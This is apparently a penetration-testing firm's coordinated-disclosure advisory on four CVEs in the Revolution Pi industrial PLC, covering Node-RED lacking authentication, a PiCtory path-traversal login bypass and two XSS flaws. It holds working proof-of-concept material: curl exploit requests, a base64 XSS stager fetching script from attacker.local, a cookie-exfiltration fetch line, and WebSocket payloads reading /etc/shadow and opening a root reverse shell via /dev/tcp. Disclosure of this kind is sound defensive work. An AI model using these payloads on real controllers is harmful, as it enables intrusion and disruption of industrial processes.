Blog: Vulnerability Advisory

RCEs and more in the KUNBUS GmbH Revolution Pi PLC

Adam Bromiley 08 May 2025

TL;DR

  • Four new vulnerabilities in the Revolution Pi industrial PLCs
  • Two give unauthenticated attackers RCE—potentially a direct impact on safety and operations
  • Documentation and firmware is public, meaning greater oversight and better security in the long run
  • KUNBUS’ PSIRT and CISA were great at coordinating disclosure

Introduction

The Revolution Pi is a programmable logic controller (PLC) made by KUNBUS Gmbh.

PLCs are ruggedised devices sitting near the lowest layer of an industrial network. They use simple I/O and fieldbus protocols to control field devices (valves, actuators, etc.) and monitor processes.

The Revolution Pi is unique in that the documentation is public and KUNBUS encourage OS-level customisation. The firmware is also publicly accessible.

We found four vulnerabilities by downloading and extracting Revolution Pi’s latest firmware version (01/2025). We didn’t even need to buy the device, although one would look great on our ICS demo rig! All were found with static code analysis but demonstrated by installing the firmware to a standard Raspberry Pi.

Three concerned PiCtory, a bespoke interface for configuring the Revolution Pi’s digital I/O and expansion modules:

The fourth was an insecure default configuration of Node-RED, a flow-based visual programming interface for controlling the I/O.

CISA and KUNBUS have released official advisories:

Attack paths

Several high-impact attack paths are possible as an unauthenticated remote attacker:

  • Code execution on Node-RED as the low-privilege nodered user (CVE-2025-24522).
  • Authentication bypass (CVE-2025-32011) on PiCtory to control the PLC’s digital I/O and extension modules.
  • Using the authentication bypass to upload a stored XSS payload to PiCtory (CVE-2025-35996). This can leverage an existing Cockpit session to execute code as the root user.
  • Coercing a victim to click on a malicious PiCtory URL (CVE-2025-36558) that can also gain code execution via Cockpit.

CVE-2025-24522: Lack of Authentication in Revolution Pi Node-RED

CVSS: 9.3 (Critical), CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS: 10.0 (Critical), CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Product: Revolution Pi OS Bookworm
Vulnerable Version: Versions 01/2025 (250124) and earlier

Description

Authentication is not configured by default on the Node-RED server. An unauthenticated remote attacker has administrative access to the server and can run arbitrary commands on the underlying operating system, which includes affecting the PLC’s I/O.

Detailed analysis

Revolution Pi runs a Node-RED server for low-code development of programs that interface with its input-output pins. The server is exposed on TCP port 41880.

Node-RED supports authentication, but the instance installed on Revolution Pi’s stock image does not configure it. There is also no guidance or warning to users in Revolution Pi’s documentation.

In addition to programming the device’s input-output pins, a remote unauthenticated attacker can create a flow to run arbitrary operating system commands as the nodered user.

CVE-2025-32011 – Authentication Bypass in Revolution Pi PiCtory

CVSS: 9.3 (Critical), CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS: 9.8 (Critical), CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Product: PiCtory
Vulnerable Version: Versions 2.5.0 through 2.11.1, included as a part of Revolution Pi OS Bookworm 01/2025 (250124) and earlier

Description

Authentication bypass vulnerability in the PiCtory web application used by Revolution Pi. A remote attacker can authenticate to the application without valid credentials due to a path-traversal vulnerability. This grants control over the Revolution Pi’s I/O terminals and expansion modules but could also be chained with CVE-2025-35996 for RCE.

Detailed analysis

Access to PiCtory is intended to be granted via the Cockpit management service instead of the user navigating directly to the application.

A user logged into Cockpit creates a token that gets sent to the PiCtory login handler (php/sso_login.php). The token is a file created by the /usr/share/cockpit/revpi-config/scripts/create_sso_token.sh script, which the Cockpit application spawns as a process on request by the Cockpit user. The file is created in /run/cockpit-revpi-pictory-sso/ and named with a random UUID.

To authenticate a user, sso_login.php simply checks if the token file path (provided in the sso_token query parameter) exists.

For example:

  1. User logs into Cockpit at https://local/
  2. User requests access to PiCtory
  3. Cockpit runs sh, creating /run/cockpit-revpi-pictory-sso/47079ccb-6c33-44ab-8562-aa8cc022f12f
  4. User is redirected to https://RevPi.local/pictory/php/sso_login.php?sso_token=47079ccb-6c33-44ab-8562-aa8cc022f12f
  5. php checks if /run/cockpit-revpi-pictory-sso/47079ccb-6c33-44ab-8562-aa8cc022f12f exists
  6. If true, it creates a PHP session with the RevPiSessionId variable, which is used for authentication to all other PiCtory functionality

Step (5) is vulnerable to path traversal: the file path is insecurely constructed by blindly appending sso_token to the run directory path:

(...)
$sso_token = $_GET['sso_token'];
$sso_token_directory = "/run/cockpit-revpi-pictory-sso";
$sso_file_path = $sso_token_directory . "/" . $sso_token;

// Check if sso file exists
if (!file_exists($sso_file_path)) {
http_response_code(401);
echo "No SSO file found for token " . $sso_token;
exit;
}

// Read content of the file
$content = file_get_contents($sso_file_path);
$content_array = explode("\n", $content); // split string by newline
$username = $content_array[0]; // the first and currently only line is the username

// Webstatus login session stored the MD5 of the PHP SessionId
$revPiSessionId = md5(session_id());
// And the JS would then use this hash to set a cookie with this name
// In webstatus the value of the cookie is a incorrectly implemented JWT Token which is actually never read
setcookie('KUNBUS_RevPiSessionId_' . $revPiSessionId, $revPiSessionId, 0, '/');
// pictory ignores the actual value completelly and only checks if this id was stored in the session
$_SESSION['RevPiSessionId'] = $revPiSessionId;

// Mark session as authenticated via SSO
$_SESSION["sso_logged_in"] = true;
$_SESSION["username"] = $username;

// Set SSO cookie to let PiCtory know that it has been started from within cockpit
setcookie('Cockpit_SSO_Host', 'cockpit_sso_host', 0, '/');

// delete the token after session was created
unlink($sso_file_path);

redirectToPictory($revPiSessionId);
(...)

Providing a blank sso_token makes the application check if /run/cockpit-revpi-pictory-sso/ exists, which always returns true and will authenticate the user:

attacker@ptp$ curl --insecure --include --get \
    --data 'sso_token=invalid_token' \
    'https://RevPi.local:41443/pictory/php/sso_login.php'              
HTTP/1.1 401 Unauthorized
Date: Wed, 19 Feb 2025 16:26:33 GMT
Server: Apache/2.4.62 (Debian)
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=itlh3tj87bi6c6sdr3fo4egcmk; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 41
Content-Type: text/html; charset=UTF-8

No SSO file found for token invalid-token

attacker@ptp$ curl --insecure --include --get \
    --data 'sso_token=' \
    'https://RevPi.local:41443/pictory/php/sso_login.php'            
HTTP/1.1 302 Found
Date: Wed, 19 Feb 2025 16:26:37 GMT
Server: Apache/2.4.62 (Debian)
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=2hekf5u60ft87u26rpsqa7fja4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: KUNBUS_RevPiSessionId_3b765f2a75718dd885cfd81635447d74=3b765f2a75718dd885cfd81635447d74; path=/
Set-Cookie: Cockpit_SSO_Host=cockpit_sso_host; path=/
Location: /pictory/index.html?hn=3b765f2a75718dd885cfd81635447d74
Content-Length: 12
Content-Type: text/html; charset=UTF-8

redirect ...

 

sso_token could also be any other existing file path, such as ../../var/www/revpi/pictory/. The path traversal is restricted by PHP’s open_basedir directive to: /run/cockpit-revpi-pictory-sso, /usr/bin/piControlReset, /usr/bin/sudo, and /var/www/revpi/pictory.

As well as access to PiCtory, sso_login.php deletes the token file using unlink() resulting in an arbitrary file deletion vulnerability.

The username session variable is set to the first line of the file. This could constitute an arbitrary file read but unfortunately the variable is never outputted by PiCtory.

CVE-2025-35996 – Stored Cross-Site Scripting in Revolution Pi PiCtory

CVSS: 8.5 (High), CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS: 9.0 (Critical), CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Product: PiCtory
Vulnerable Version: Versions 2.11.1 and earlier, included as a part of Revolution Pi OS Bookworm 01/2025 (250124) and earlier.

Description

Stored cross-site scripting is possible in the PiCtory web application via specially crafted filenames in the export/ and projects/ directories. This is due to insufficient output encoding and sanitisation of input parameters. An authenticated remote attacker can inject arbitrary scripts into the application’s index.html, which can result in session hijacking when viewed by another user.

Since Revolution Pi runs PiCtory and Cockpit on the same site, the exploit may also be used to steal the user’s Cockpit session and run arbitrary operating system commands as the root user to gain full control over the PLC.

Detailed analysis

PiCtory has a function that shows a user a list of configuration files in the export/, projects/, and resources/data/rap/ directories. The user can upload to the first two directories.

The functionality is in php/getFileList.php:

(...)
foreach($result as $r)
if (file_exists($r))
echo substr($r,2).",".date ("Y|m|d|H|i|s", filemtime($r)).";";
(...)

PiCtory fails to encode the output of the filename ($r). An authenticated attacker can create a project file with HTML tags in its name, which is subsequently rendered as HTML code when displayed to users.

The tags can be used to run arbitrary JavaScript and perform actions authenticated as the victim, such as modify or delete their PiCtory project files.

A benign proof of concept is shown below:

attacker@ptp$ curl \
    --insecure \
    --cookie 'PHPSESSID=mjgrujmnp9ipjlnatube642c5g' \
    --data '{}' \
'https://revpi.local:41443/pictory/php/saveProject.php?fn=<img+onerror="alert(document.domain)"+src=x+>.rsc&RevPiSessionId=3576b803c263d70c556178c073bed4d3'
OK

Which creates the following file on the system:

pi@RevPi$ ls -l /var/www/revpi/pictory/projects/
total 20
-rw-r--r-- 1 www-data www-data 1293 Feb 19 17:00  _config.rsc
-rw-r--r-- 1 www-data www-data    2 Feb 19 17:27 '<img onerror="alert(document.domain)" src=x >.rsc'
-rw-r--r-- 1 www-data www-data 1671 Feb 19 17:09  pictory_configcheck.log
-rw-r--r-- 1 root     root      706 Jan 23 09:49  _README.txt
-rw-r--r-- 1 root     root      334 Jan 23 09:49  _userSettings.json

And executes the payload whenever viewed in the file list:

Neither of the authentication cookies are set with the HttpOnly attribute, so the script can exfiltrate them to the attacker-controlled server and fully hijack a user’s session:

fetch("https://pentestpartners.com/" + document.cookie)

However, the most impactful exploit leverages the fact that PiCtory and Cockpit run under different directories on the same site: https://RevPi.local:41443/ and https://RevPi.local:41443/pictory/.

This means the XSS payload can send requests with Cockpit’s session cookie. Cockpit allows you to run commands as the root user, so the XSS can execute code on the operating system.

This attack involves more complexity, so the initial payload is a stager for a larger script hosted on the attacker’s server:

s=document.createElement('script');s.src='https://attacker.local/xss.js';document.head.appendChild(s);

Since the payload is stored in a filename on the Revolution Pi, it cannot contain forward slashes so was Base64-encoded and wrapped in eval(atob()) to be executed:

attacker@ptp$ curl \
    --insecure \                        
    --cookie 'PHPSESSID=mjgrujmnp9ipjlnatube642c5g' \ 
    --data '{}' \
'https://revpi.local:41443/pictory/php/saveProject.php?fn=<img+onerror="eval(atob('\''cz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly9hdHRhY2tlci5sb2NhbC94c3MuanMnO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyk7'\''))"+src=x+>.rsc&RevPiSessionId=75c1f3f2cfe12a9788029c4a99d93045'
OK

It looks like this when injected:

The script at https://attacker.local/xxs.js invokes a WebSocket session with Cockpit. Two scripts were made to demonstrate impact. The first simply shows the groups of the operating system user that ran the Cockpit commands, and demonstrates privilege escalation to root by viewing /etc/shadow:

socket = new WebSocket('wss://revpi.local:41443/cockpit-revpi/cockpit/socket');

socket.addEventListener('open', () => {
socket.send('\n{"command":"init","version":1}');
socket.send('\n{"payload":"stream","spawn":["id"],"command":"open","channel":"1!1"}');
socket.send('\n{"payload":"stream","spawn":["id<"],"command":"open","channel":"1!2","superuser":"try"}');
socket.send('\n{"payload":"stream","spawn":["cat","/etc/shadow"],"command":"open","channel":"1!3","superuser":"try"}');
});

socket.addEventListener('message', (event) => event.data.startsWith("1!") ? console.log(event.data) : 0);

The second spawns a reverse shell back to an attacker’s server over the network, granting them a full interactive session on the Revolution Pi as the root user:

socket = new WebSocket('wss://RevPi.local:41443/cockpit-revpi/cockpit/socket');

socket.addEventListener('open', () => {
socket.send('\n{"command":"init","version":1}');
socket.send('\n{"payload":"stream","spawn":["bash","-c","bash -i >&/dev/tcp/192.168.0.1/1337 0>&1"],"command":"open","channel":"1!1","superuser":"try"}');

});

Ultimately this code execution allows an attacker to control the PLC’s digital I/O and expansion modules. This could be used to disrupt plant operations and pose a safety or financial impact.

CVE-2025-36558 – Reflected Cross-Site Scripting in PiCtory

CVSS: 5.1 (Medium), CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
CVSS: 6.1 (Medium), CVSS:3.1AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Product: PiCtory
Vulnerable Version: Versions 2.11.1 and earlier, included as a part of Revolution Pi OS Bookworm 01/2025 (250124) and earlier.

Description

Reflected cross-site scripting in PiCtory via the sso_token query string parameter. This is due to insufficient output encoding and sanitisation of input parameters. A malicious URL could inject and execute arbitrary JavaScript in an authenticated user’s browser, which could result in session hijacking.

Detailed analysis

php/sso_login.php in PiCtory authenticates the user with a token provided in the sso_token query string parameter.

An invalid token is outputted in the server’s response. HTML character entities are not used to encode the output, meaning the browser attempts to render any HTML code embedded in the value.

(...)
$sso_token = $_GET['sso_token'];
$sso_token_directory = "/run/cockpit-revpi-pictory-sso";
$sso_file_path = $sso_token_directory . "/" . $sso_token;

// Check if sso file exists
if (!file_exists($sso_file_path)) {
http_response_code(401);
echo "No SSO file found for token " . $sso_token;
exit;
}
(...)

A URL with a token containing a script element causes the browser to execute the script when navigated to, e.g.:

https://revpi.local:41443/pictory/php/sso_login.php?sso_token=%3Cscript%3Ealert(document.domain)%3C/script%3E

Like the stored XSS, an attacker can steal the user’s PiCtory or Cockpit sessions and gain code execution. However, the likelihood is significantly less since a successful attack relies on an administrator of the PLC being coerced into following the URL at the time of being connected to the plant’s control network.

Mitigations

Set a username and password for Node-RED in /var/lib/revpi-nodered/.node-red/settings.js (further details in KUNBUS’ advisory). Disable Node-RED if unused.

Upgrade PiCtory to version 2.12 with sudo apt update && sudo apt upgrade on the Revolution Pi’s command line. This version will also be shipped with the next full OS image (04/2025).

As is always the guidance with ICS environments: practice good segregation in line with ISA/IEC 62443, the Purdue model, and other standards. Be worried if the baddies are reaching your PLCs!

Disclosure timeline

Since the vulnerabilities affect ICS equipment, we coordinated disclosure with CISA and KUNBUS’ PSIRT team (security.txt).

There were some teething issues, mainly down to KUNBUS not having an account on VINCE (CERT/CC’s disclosure environment) and there being disjointed communications until everyone was present. But remediation was achieved within 90 days:

  • 21st February 2025: Initial contact with KUNBUS’ PSIRT.
  • 24th February 2025: KUNBUS response and full disclosure document is shared.
  • 27th February 2025: Case is opened in VINCE with Pen Test Partners and CISA / Idaho National Laboratory. CISA attempt contact with KUNBUS.
  • 24th March 2025: KUNBUS chased by Pen Test Partners over email.
  • 31st March 2025: KUNBUS confirm no invite received from CISA.
  • 1st April 2025: KUNBUS unexpectedly publish advisory to their own website.
  • 4th April 2025: Remediation is reviewed and approved by Pen Test Partners.
  • 8th April 2025: KUNBUS join VINCE and confirm CISA’s initial contact was sent to the wrong address.
  • 1st May 2025: CISA publish advisory alongside four CVEs.
  • 8th May 2025: Pen Test Partners publish writeup.